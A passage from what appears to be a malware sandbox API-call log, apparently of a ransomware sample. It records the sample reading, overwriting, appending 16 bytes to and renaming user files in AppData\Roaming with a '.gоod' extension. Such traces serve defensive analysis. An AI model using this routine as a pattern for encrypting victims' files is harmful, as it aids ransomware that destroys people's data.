lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0188.817] GetFileType (hFile=0x818) returned 0x1 [0188.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0188.817] GetFileType (hFile=0x818) returned 0x1 [0188.817] ReadFile (in: hFile=0x818, lpBuffer=0x377c2b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x377c2b0*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0188.843] CloseHandle (hObject=0x818) returned 1 [0188.843] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\aPQpe.swf", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\aPQpe.swf", lpFilePart=0x0) returned 0x29 [0188.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0188.843] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\aPQpe.swf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\apqpe.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0188.843] GetFileType (hFile=0x818) returned 0x1 [0188.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0188.843] GetFileType (hFile=0x818) returned 0x1 [0188.843] WriteFile (in: hFile=0x818, lpBuffer=0x377b048*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x377b048*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0188.843] CloseHandle (hObject=0x818) returned 1 [0188.843] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\aPQpe.swf", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\aPQpe.swf", lpFilePart=0x0) returned 0x29 [0188.843] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\aPQpe.swf.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\aPQpe.swf.gоod", lpFilePart=0x0) returned 0x2e [0188.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0188.844] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\aPQpe.swf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\apqpe.swf"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x411b5380, ftCreationTime.dwHighDateTime=0x1d4c7cd, ftLastAccessTime.dwLowDateTime=0xe90d2e10, ftLastAccessTime.dwHighDateTime=0x1d4cce1, ftLastWriteTime.dwLowDateTime=0x6cc51238, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x14a37)) returned 1 [0188.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0188.844] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\aPQpe.swf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\apqpe.swf"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\aPQpe.swf.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\apqpe.swf.gоod")) returned 1 [0188.845] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\At QlR3JAYBWorQBe.m4a", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\At QlR3JAYBWorQBe.m4a", lpFilePart=0x0) returned 0x35 [0188.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0188.845] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\At QlR3JAYBWorQBe.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\at qlr3jaybworqbe.m4a"), fInfoLevelId=0x0, lpFileInformation=0x37f9660 | out: lpFileInformation=0x37f9660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54f4df20, ftCreationTime.dwHighDateTime=0x1d4d524, ftLastAccessTime.dwLowDateTime=0x514cf390, ftLastAccessTime.dwHighDateTime=0x1d4c830, ftLastWriteTime.dwLowDateTime=0x514cf390, ftLastWriteTime.dwHighDateTime=0x1d4c830, nFileSizeHigh=0x0, nFileSizeLow=0x16df6)) returned 1 [0188.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0188.845] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\At QlR3JAYBWorQBe.m4a", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\At QlR3JAYBWorQBe.m4a", lpFilePart=0x0) returned 0x35 [0188.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0188.845] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\At QlR3JAYBWorQBe.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\at qlr3jaybworqbe.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0188.845] GetFileType (hFile=0x818) returned 0x1 [0188.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0188.845] GetFileType (hFile=0x818) returned 0x1 [0188.845] SetFilePointer (in: hFile=0x818, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0188.845] ReadFile (in: hFile=0x818, lpBuffer=0x37f9a58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x37f9a58*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0188.846] CloseHandle (hObject=0x818) returned 1 [0188.846] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\At QlR3JAYBWorQBe.m4a", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\At QlR3JAYBWorQBe.m4a", lpFilePart=0x0) returned 0x35 [0188.846] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0188.846] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\At QlR3JAYBWorQBe.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\at qlr3jaybworqbe.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0188.847] GetFileType (hFile=0x818) returned 0x1 [0188.847] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0188.847] GetFileType (hFile=0x818) returned 0x1 [0188.847] SetFilePointer (in: hFile=0x818, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x16df6 [0188.847] WriteFile (in: hFile=0x818, lpBuffer=0x37face0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x37face0*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0188.847] CloseHandle (hObject=0x818) returned 1 [0188.847] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\At QlR3JAYBWorQBe.m4a", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\At QlR3JAYBWorQBe.m4a", lpFilePart=0x0) returned 0x35 [0188.847] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0188.847] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\At QlR3JAYBWorQBe.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\at qlr3jaybworqbe.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0188.847] GetFileType (hFile=0x818) returned 0x1 [0188.847] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0188.847] GetFileType (hFile=0x818) returned 0x1 [0188.847] ReadFile (in: hFile=0x818, lpBuffer=0x37fe450, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x37fe450*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0189.729] CloseHandle (hObject=0x818) returned 1 [0189.729] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\At QlR3JAYBWorQBe.m4a", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\At QlR3JAYBWorQBe.m4a", lpFilePart=0x0) returned 0x35 [0189.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0189.729] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\At QlR3JAYBWorQBe.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\at qlr3jaybworqbe.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0189.729] GetFileType (hFile=0x818) returned 0x1 [0189.729] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0189.729] GetFileType (hFile=0x818) returned 0x1 [0189.729] WriteFile (in: hFile=0x818, lpBuffer=0x3776298*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x3776298*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0189.730] CloseHandle (hObject=0x818) returned 1 [0189.730] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\At QlR3JAYBWorQBe.m4a", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\At QlR3JAYBWorQBe.m4a", lpFilePart=0x0) returned 0x35 [0189.730] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\At QlR3JAYBWorQBe.m4a.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\At QlR3JAYBWorQBe.m4a.gоod", lpFilePart=0x0) returned 0x3a [0189.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0189.730] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\At QlR3JAYBWorQBe.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\at qlr3jaybworqbe.m4a"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54f4df20, ftCreationTime.dwHighDateTime=0x1d4d524, ftLastAccessTime.dwLowDateTime=0x514cf390, ftLastAccessTime.dwHighDateTime=0x1d4c830, ftLastWriteTime.dwLowDateTime=0x6d4dc4e5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x16e06)) returned 1 [0189.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0189.730] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\At QlR3JAYBWorQBe.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\at qlr3jaybworqbe.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\At QlR3JAYBWorQBe.m4a.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\at qlr3jaybworqbe.m4a.gоod")) returned 1 [0189.731] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Bf2F_kvwVy5BKZ8ad.bmp", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Bf2F_kvwVy5BKZ8ad.bmp", lpFilePart=0x0) returned 0x35 [0189.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0189.731] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Bf2F_kvwVy5BKZ8ad.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\bf2f_kvwvy5bkz8ad.bmp"), fInfoLevelId=0x0, lpFileInformation=0x3809550 | out: lpFileInformation=0x3809550*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45947a00, ftCreationTime.dwHighDateTime=0x1d4d159, ftLastAccessTime.dwLowDateTime=0x8712b6d0, ftLastAccessTime.dwHighDateTime=0x1d4c9f8, ftLastWriteTime.dwLowDateTime=0x8712b6d0, ftLastWriteTime.dwHighDateTime=0x1d4c9f8, nFileSizeHigh=0x0, nFileSizeLow=0xa5a9)) returned 1 [0189.731] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0189.731] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Bf2F_kvwVy5BKZ8ad.bmp", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Bf2F_kvwVy5BKZ8ad.bmp", lpFilePart=0x0) returned 0x35 [0189.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0189.731] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Bf2F_kvwVy5BKZ8ad.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\bf2f_kvwvy5bkz8ad.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0189.732] GetFileType (hFile=0x818) returned 0x1 [0189.732] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0189.732] GetFileType (hFile=0x818) returned 0x1 [0189.732] SetFilePointer (in: hFile=0x818, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0189.732] ReadFile (in: hFile=0x818, lpBuffer=0x3809948, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x3809948*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0189.733] CloseHandle (hObject=0x818) returned 1 [0189.733] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Bf2F_kvwVy5BKZ8ad.bmp", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Bf2F_kvwVy5BKZ8ad.bmp", lpFilePart=0x0) returned 0x35 [0189.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0189.733] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Bf2F_kvwVy5BKZ8ad.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\bf2f_kvwvy5bkz8ad.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0189.733] GetFileType (hFile=0x818) returned 0x1 [0189.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0189.733] GetFileType (hFile=0x818) returned 0x1 [0189.733] SetFilePointer (in: hFile=0x818, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0xa5a9 [0189.733] WriteFile (in: hFile=0x818, lpBuffer=0x380abd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x380abd0*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0189.733] CloseHandle (hObject=0x818) returned 1 [0189.733] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Bf2F_kvwVy5BKZ8ad.bmp", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Bf2F_kvwVy5BKZ8ad.bmp", lpFilePart=0x0) returned 0x35 [0189.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0189.734] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Bf2F_kvwVy5BKZ8ad.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\bf2f_kvwvy5bkz8ad.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0189.734] GetFileType (hFile=0x818) returned 0x1 [0189.734] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0189.734] GetFileType (hFile=0x818) returned 0x1 [0189.734] ReadFile (in: hFile=0x818, lpBuffer=0x380ce80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x380ce80*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0190.434] CloseHandle (hObject=0x818) returned 1 [0190.434] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Bf2F_kvwVy5BKZ8ad.bmp", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Bf2F_kvwVy5BKZ8ad.bmp", lpFilePart=0x0) returned 0x35 [0190.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0190.434] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Bf2F_kvwVy5BKZ8ad.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\bf2f_kvwvy5bkz8ad.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0190.434] GetFileType (hFile=0x818) returned 0x1 [0190.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0190.434] GetFileType (hFile=0x818) returned 0x1 [0190.434] WriteFile (in: hFile=0x818, lpBuffer=0x37ad230*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x37ad230*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0190.434] CloseHandle (hObject=0x818) returned 1 [0190.435] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Bf2F_kvwVy5BKZ8ad.bmp", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Bf2F_kvwVy5BKZ8ad.bmp", lpFilePart=0x0) returned 0x35 [0190.435] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Bf2F_kvwVy5BKZ8ad.bmp.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Bf2F_kvwVy5BKZ8ad.bmp.gоod", lpFilePart=0x0) returned 0x3a [0190.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0190.435] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Bf2F_kvwVy5BKZ8ad.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\bf2f_kvwvy5bkz8ad.bmp"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45947a00, ftCreationTime.dwHighDateTime=0x1d4d159, ftLastAccessTime.dwLowDateTime=0x8712b6d0, ftLastAccessTime.dwHighDateTime=0x1d4c9f8, ftLastWriteTime.dwLowDateTime=0x6db90f73, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa5b9)) returned 1 [0190.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0190.435] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Bf2F_kvwVy5BKZ8ad.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\bf2f_kvwvy5bkz8ad.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Bf2F_kvwVy5BKZ8ad.bmp.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\bf2f_kvwvy5bkz8ad.bmp.gоod")) returned 1 [0190.436] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\byRwSzDT.bmp", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\byRwSzDT.bmp", lpFilePart=0x0) returned 0x2c [0190.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0190.436] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\byRwSzDT.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\byrwszdt.bmp"), fInfoLevelId=0x0, lpFileInformation=0x38ef420 | out: lpFileInformation=0x38ef420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe55af40, ftCreationTime.dwHighDateTime=0x1d4d272, ftLastAccessTime.dwLowDateTime=0x51cf8e10, ftLastAccessTime.dwHighDateTime=0x1d4d486, ftLastWriteTime.dwLowDateTime=0x51cf8e10, ftLastWriteTime.dwHighDateTime=0x1d4d486, nFileSizeHigh=0x0, nFileSizeLow=0x1656a)) returned 1 [0190.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0190.436] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\byRwSzDT.bmp", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\byRwSzDT.bmp", lpFilePart=0x0) returned 0x2c [0190.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0190.436] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\byRwSzDT.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\byrwszdt.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0190.436] GetFileType (hFile=0x818) returned 0x1 [0190.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0190.436] GetFileType (hFile=0x818) returned 0x1 [0190.436] SetFilePointer (in: hFile=0x818, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0190.437] ReadFile (in: hFile=0x818, lpBuffer=0x38ef7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x38ef7d8*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0190.437] CloseHandle (hObject=0x818) returned 1 [0190.437] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\byRwSzDT.bmp", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\byRwSzDT.bmp", lpFilePart=0x0) returned 0x2c [0190.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0190.437] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\byRwSzDT.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\byrwszdt.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0190.438] GetFileType (hFile=0x818) returned 0x1 [0190.438] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0190.438] GetFileType (hFile=0x818) returned 0x1 [0190.438] SetFilePointer (in: hFile=0x818, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1656a [0190.438] WriteFile (in: hFile=0x818, lpBuffer=0x38f0a40*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x38f0a40*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0190.438] CloseHandle (hObject=0x818) returned 1 [0190.438] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\byRwSzDT.bmp", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\byRwSzDT.bmp", lpFilePart=0x0) returned 0x2c [0190.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0190.438] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\byRwSzDT.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\byrwszdt.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0190.438] GetFileType (hFile=0x818) returned 0x1 [0190.438] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0190.438] GetFileType (hFile=0x818) returned 0x1 [0190.438] ReadFile (in: hFile=0x818, lpBuffer=0x38f2cd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x38f2cd0*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0192.083] CloseHandle (hObject=0x818) returned 1 [0192.083] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\byRwSzDT.bmp", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\byRwSzDT.bmp", lpFilePart=0x0) returned 0x2c [0192.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0192.083] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\byRwSzDT.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\byrwszdt.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 